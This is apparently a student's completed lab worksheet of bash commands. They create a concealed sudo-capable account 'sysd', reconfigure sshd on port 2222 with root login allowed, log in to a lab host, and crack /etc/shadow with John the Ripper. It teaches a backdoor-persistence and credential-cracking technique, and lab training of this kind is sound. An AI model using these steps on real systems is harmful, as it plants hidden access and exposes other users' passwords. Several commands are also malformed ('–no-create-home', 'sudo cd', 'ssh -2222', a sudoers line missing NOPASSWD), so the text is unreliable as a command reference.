**Bash Commands**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

* Run “sudo adduser –no-create-home sysd”

1. Give your secret user a password:

* Run “sudo passwd sysd”

1. Give your secret user a system UID < 1000:

* Run “sudo usermod -u 900 sysd”

1. Give your secret user the same GID:

* Run “sudo groupadd -g 900 sysd”

1. Give your secret user full sudo access without the need for a password:

* Run “visudo” – then add sysd below root: “sysd ALL=(ALL:ALL) ALL
* OR run: “usermod -a -G sudo sysd”

1. Test that sudo access works without your password:

“sudo cd /etc”

“sudo cat passwd”

“sudo nano passwd”

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

“Port 2222”

“AllowAgentForwarding no”

“AllowTcpForwarding no”

“GatewayPorts no”

“LoginGraceTime 30”

“MaxAuthTries 5”

“PermitTunnel no”

“PasswordAuthentication no”

“PermitEmptyPasswords no”

“PermitRootLogin yes”

“UsePAM yes”

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * “service sshd restart”
2. Exit the root account:
   * “su sysadmin” or “exit”
3. SSH to the target machine using your sysd account and port 2222:
   * “ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222”
4. Use sudo to switch to the root user:

-“sudo su root”

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * “ssh -2222 [sysd@192.168.6.105](mailto:sysd@192.168.6.105)”
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

In the /etc folder, run “john shadow”